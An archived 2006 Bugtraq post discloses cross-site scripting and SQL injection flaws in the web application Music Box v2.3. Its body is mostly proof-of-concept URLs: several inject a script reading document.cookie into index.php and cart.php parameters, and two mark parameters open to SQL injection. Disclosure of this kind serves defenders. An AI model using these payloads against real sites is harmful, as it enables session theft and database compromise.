| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: 24 Mar 2006 21:43:12 -0000 From: xx_hack_xx_2004@...mail.com To: bugtraq@...urityfocus.com Subject: XSS & SQL Injection in Music Box v2.3 Hello Vulnerable: Music Box v2.3 http://www.MusicboxV2.com Exploit : XSS : http://example.com/music/index.php?id='><script>alert(document.cookie)</script> http://example.com/music/index.php?action=top&show=5&type='><script>alert(document.cookie)</script> http://example.com/music/index.php?action=top&show='><script>alert(document.cookie)</script>&type=Artists http://example.com/music/cart/cart.php?message1='><script>alert(document.cookie)</script> http://example.com/music/cart/cart.php?message='><script>alert(document.cookie)</script> SQL : http://example.com/music/index.php?action=top&show=5&type=[SQL] http://example.com/music/index.php?action=top&show=[SQL]&type=Artists Discovery by Linux_Drox http://www.lezr.com Best Regards ,,
Powered by blists - more mailing lists